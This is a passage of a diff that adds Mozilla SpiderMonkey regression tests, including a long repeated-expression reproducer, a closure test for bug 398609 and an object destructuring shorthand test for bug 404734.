+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ }
+ return "Everything's fine."
+ // Comment out the switch statement and the bug disappears.
+ switch (a) {
+ case 1: ;
+ case 2: return;
+ }
+}
+
diff --git a/js/src/tests/non262/regress/regress-398609.js b/js/src/tests/non262/regress/regress-398609.js
new file mode 100644
index 0000000000..25a73b1e95
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-398609.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 398609;
+var summary = 'Test regression from bug 398609';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(m) {
+ m = m || Math;
+ return x();
+
+ function x() {
+ return m.sin(0);
+ }
+ };
+
+ var r = f();
+ if (r !== Math.sin(0))
+ throw "Unexpected result";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-404734.js b/js/src/tests/non262/regress/regress-404734.js
new file mode 100644
index 0000000000..27ec9d5fc1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-404734.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 404734;
+var summary = 'Object destructuring shorthand';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o = {p: 42, q: true};
+ var {p, q} = o;
+
+ expect = '42,true';
+ actual = p + ',' + q;
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-404755.js b/js/src/tests/non262/regress/regress-404755.js
new file mode 100644
index 0000000000..464952ec4c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-404755.js
@@ -0,0 +1,47 @@
+// |reftest| random -- unreliable - based on GC timing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
